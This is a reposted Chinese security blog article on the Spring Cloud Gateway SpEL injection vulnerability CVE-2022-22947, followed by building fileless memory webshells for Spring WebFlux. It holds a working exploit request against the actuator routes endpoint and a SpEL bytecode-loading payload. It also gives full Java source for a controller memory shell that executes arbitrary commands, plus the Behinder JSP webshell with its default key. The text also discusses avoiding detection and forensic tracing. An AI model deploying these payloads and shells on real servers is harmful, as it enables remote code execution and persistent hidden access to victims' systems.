从CVE-2022-22947到Spring WebFlux内存马与哥斯拉
2022-5-16 11:15:1 Author: xz.aliyun.com(查看原文) 阅读量:409 收藏

漏洞分析许多师傅都写了非常详尽的文章,因此这部分仅分析记录重点内容和有一些有趣的东西。
官方公告:https://tanzu.vmware.com/security/cve-2022-22947
Code Diff:https://github.com/spring-cloud/spring-cloud-gateway/commit/d8c255eddf4eb5f80ba027329227b0d9e2cd9698#diff-7aa249852020f587b35d07cd73c39161c229700ee1e13a9a146c114f542083bcL55-L61
漏洞发现者Blog相关文章:https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/

漏洞原理:本质属于SpEL表达式注入漏洞,可通过ShortcutConfigurable#getValue(SpelExpressionParser parser, BeanFactory beanFactory, String entryValue)对可控表达式通过StandardEvaluationContext进行解析从而造成RCE。

调试分析

调试分析的POC采用:

POST /actuator/gateway/routes/rce HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:8000
Connection: close
User-Agent: Paw/3.3.5 (Macintosh; OS X/12.2.0) GCDHTTPRequest
Content-Length: 362

{
  "id": "rce",


  "filters": [
    {
      "name": "AddResponseHeader",
      "args": {
        "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",
        "name": "cmd"
      }
    }
  ],
  "uri": "http://localhost:8080",
  "order": 2
}

老规矩,在触发点断点以回溯函数调用栈。我们需要控制entryValue即可实现SpEL表达式注入。

在上一个调用函数中可以观察到,会根据ShortcutType的类型执行不同的normalize函数。虽然这里调用栈是走的DEFAULT,但是其他类型的normalize函数也会进行SpEL表达式执行。他们同样都需要对normalize函数参数的args进行控制,使得其某一个entry的value为恶意SpEL表达式字符串。

函数参数args再对应到上一个函数调用的properties参数。回顾前面的Poc可知,即"filters"的"args"。

再向上回溯,发现是在bind()的流程中会进行一个参数解析的触发。那么查看Callers of bind即可知道有哪些触发机会。其中橘色方框的loadGatewayFilters触发链即为前面AddResponseHeader Filter的触发链,绿色的combinePredicates链表明,在route definition时声明一个Predicates一样能触发SpEL表达式注入。
也就是说,除了如果需要回显可能会对链的选择有所限制,实际上几乎所有的通过内置验证的Filters、Predicates都可以实现SpEL表达式注入。这个有师傅已经做了比较详尽的分析,参见REF[10]。


convertToRoute则会在路由初始化的时候触发,详见REF[9]。


内存马注入

Spring Cloud Gateway是基于Spring WebFlux实现的,如下图所示,可以注入Netty内存马或者Spring内存马。

Netty内存马的EXP已经有师傅在GitHub上给出,下面主要是Spring的内存马分析与编写。

SPEL表达式注入字节码

From: c0ny1 详见REF[3]

#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}

其中'yv66vgAAA....'为Base64Encode的字节码,可通过如下代码生成:

import org.springframework.util.Base64Utils;

import java.io.*;
import java.nio.charset.StandardCharsets;

public class EncodeShell {
    public static void main(String[] args){
        byte[] data = null;
        try {
            InputStream in = new FileInputStream("MemShell.class");
            data = new byte[in.available()];
            in.read(data);
            in.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
        String shellStr = Base64Utils.encodeToString(data);
        System.out.println(shellStr);
        try {
            OutputStream out = new FileOutputStream("ShellStr.txt");
            out.write(shellStr.getBytes(StandardCharsets.UTF_8));
            out.flush();
            out.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

Spring Controller内存马

参考基于内存 Webshell 的无文件攻击技术研究这篇文章,作者提出了3中注册方法。

  1. 在 spring 4.0 及以后,可以使用 RequestMappingHandlerMapping#requestMapping 注册,这是最直接的一种方式。
  2. 针对使用 DefaultAnnotationHandlerMapping 映射器的应用,使用org.springframework.web.servlet.handler.AbstractUrlHandlerMapping#registerHandler
  3. 针对使用 RequestMappingHandlerMapping 映射器的应用,使用org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#detectHandlerMethods

重点在于,使用 registerMapping 动态注册 controller 时,不需要强制使用 @RequestMapping 注解定义 URL 地址和 HTTP 方法,其余两种手动注册 controller 的方法都必须要在 controller 中使用@RequestMapping 注解 。

Spring Cloud Gateway是Spring 5.0推出的产物,因此可以选用方法1或者2进行注入。测试代码如下,两种均可行。

package tech.portal.api.gateway.shell;

import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.reactive.result.condition.PatternsRequestCondition;
import org.springframework.web.reactive.result.condition.RequestMethodsRequestCondition;
import org.springframework.web.reactive.result.method.RequestMappingInfo;
import org.springframework.web.reactive.result.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.util.pattern.PathPattern;
import org.springframework.web.util.pattern.PathPatternParser;

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Scanner;

public class SpringRequestMappingMemshell {

    public static String doInject(RequestMappingHandlerMapping requestMappingHandlerMapping) {
        String msg = "inject-start";
        try {
            firstWay(requestMappingHandlerMapping);
            // originalWay(requestMappingHandlerMapping);
            msg = "inject-success";
        } catch (Exception e) {
            msg = "inject-error";
        }
        return msg;
    }
    // 通过方法2注入
    public static void originalWay(RequestMappingHandlerMapping requestMappingHandlerMapping) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Method registerHandlerMethod = requestMappingHandlerMapping.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class);
        registerHandlerMethod.setAccessible(true);
        Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class);
        PathPattern pathPattern = new PathPatternParser().parse("/*");
        PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition(pathPattern);
        RequestMappingInfo requestMappingInfo = new RequestMappingInfo("", patternsRequestCondition, null, null, null, null, null, null);
        registerHandlerMethod.invoke(requestMappingHandlerMapping, new SpringRequestMappingMemshell(), executeCommand, requestMappingInfo);
    }
    //通过方法1注入
    public static void firstWay(RequestMappingHandlerMapping requestMappingHandlerMapping) throws NoSuchMethodException {
        // 2. 通过反射获得自定义 controller 中的 Method 对象
        Method method = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class);
        // 3. 定义访问 controller 的 URL 地址
        PathPattern pathPattern = new PathPatternParser().parse("/*");
        PatternsRequestCondition url = new PatternsRequestCondition(pathPattern);
        // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        // 5. 在内存中动态注册 controller
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        requestMappingHandlerMapping.registerMapping(info, new SpringRequestMappingMemshell(), method);
    }

    public ResponseEntity executeCommand(@RequestBody String reqBody) throws IOException  {
        String execResult = new Scanner(Runtime.getRuntime().exec(reqBody).getInputStream()).useDelimiter("\\A").next();
        return new ResponseEntity(execResult, HttpStatus.OK);

    }
}

最终效果为:

但需要注意注入Controller内存马有个很大的缺点,每个Controller对应一个或者多个路由。如果你用一个新路由,可能被拦,或者方便别人溯源定位入侵时间;如果用业务已有路由,会直接对其造成覆盖,是个更糟糕的情况。

连接冰蝎

在Behinder(v3.0 Beta 9 fixed)的Server文件夹下,提供了shell.jsp。

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!
    class U extends ClassLoader{
        U(ClassLoader c){
            super(c);
        }
        public Class g(byte []b){
            return super.defineClass(b,0,b.length);
        }
    }
%>
<%
    if (request.getMethod().equals("POST")){
        String k="e45e329feb5d925b";
        /*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
        session.putValue("u",k);
        Cipher c=Cipher.getInstance("AES");
        c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
        new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
    }
%>

根据[4]已有的分析:

shell.jsp中需要特别注意pageContext这个对象,它是jsp文件运行过程中自带的对象,可以获取request/response/session这三个包含页面信息的重要对象,对应pageContext有getRequest/getResponse/getSession方法。学艺不精,暂时没有找到从spring和tomcat中获取pageContext的方法。
但是从冰蝎的作者给出的提示可以知道,冰蝎3.0 bata7之后不在依赖pageContext,见github issue
又从源码确认了一下,在equal函数中传入的object有request/response/session对象即可

可得知,如果你不想自己写request/response/session的实现,在Java应用的Lib中必定需要以下两个类:

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

但实际发现Spring Cloud Gateway并没有这两个类,猜测可能是Spring WebFlux没有Servlet API,即在非开发者额外导入的情况下,JVM中没有HttpServletRequest、HttpServletResponse。经搜索,下图验证了猜想。

因此武器化无法容易地实现和冰蝎的连接,需要在加载冰蝎的java代码中,将pageContext替换为一个Map,并自己实现冰蝎所用到的里面object的所有方法。

Map<String, Object> objMap = (Map)obj;
 this.Session = objMap.get("session");
 this.Response = objMap.get("response");
 this.Request = objMap.get("request");

Spring WebFilter内存马

前面提到Controller的内存马的一些缺陷。其实对于Servlet API中我们更倾向于选择Filter型是同样的道理,Spring WebFulx即使换到Reactive也必然有一个「Filter」,即WebFilter

The Web Filters are very similar to the Java Servlet Filters that they intercept requests and responses on a global level. Most importantly, the WebFilter is applicable to both annotation based WebFlux Controllers and the Functional Web framework style Routing Functions.

通过编写一个正常的Filter Demo能发现,DefaultWebFilterChain的allFilters属性存储了当前的Filer链,那么猜测是否直接修改这个属性,向里面添加一个自己编写的Filter就可以了?

@Component
@Order(value = 2)
public class NormalFilter implements WebFilter {
    @Override
    public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
        System.out.println("---NormalFilter---");
        return chain.filter(exchange);
    }
}

通过Java Object Searcher可以快速定位到该实例:

TargetObject = {reactor.netty.resources.DefaultLoopResources$EventLoop} 
  ---> group = {java.lang.ThreadGroup} 
   ---> threads = {class [Ljava.lang.Thread;} 
    ---> [14] = {org.springframework.boot.web.embedded.netty.NettyWebServer$1} 
     ---> this$0 = {org.springframework.boot.web.embedded.netty.NettyWebServer} 
      ---> handler = {org.springframework.http.server.reactive.ReactorHttpHandlerAdapter} 
       ---> httpHandler = {org.springframework.boot.web.reactive.context.WebServerManager$DelayedInitializationHttpHandler} 
        ---> delegate = {org.springframework.web.server.adapter.HttpWebHandlerAdapter} 
         ---> delegate = {org.springframework.web.server.handler.ExceptionHandlingWebHandler} 
           ---> delegate = {org.springframework.web.server.handler.FilteringWebHandler} 
            ---> chain = {org.springframework.web.server.handler.DefaultWebFilterChain}


但实际上经过尝试会发现,仅仅只修改了上图的这个chain.allFilters是无法实现新增Filter的。如下图所示,我两次修改allFilters,向里面添加一个HackFilters都仅仅添加到了第一处。而遍历Filter的逻辑并不是我们之前想象的,只对第一个chain.allFilters进行遍历。

再回头来看DefaultWebFilterChain这个类的注解,发现一个DefaultWebFilterChain实例并非对应一个Chain,而仅仅是一个Link。(不要向笔者学习


文章来源: https://xz.aliyun.com/t/11331
如有侵权请联系:admin#unsafe.sh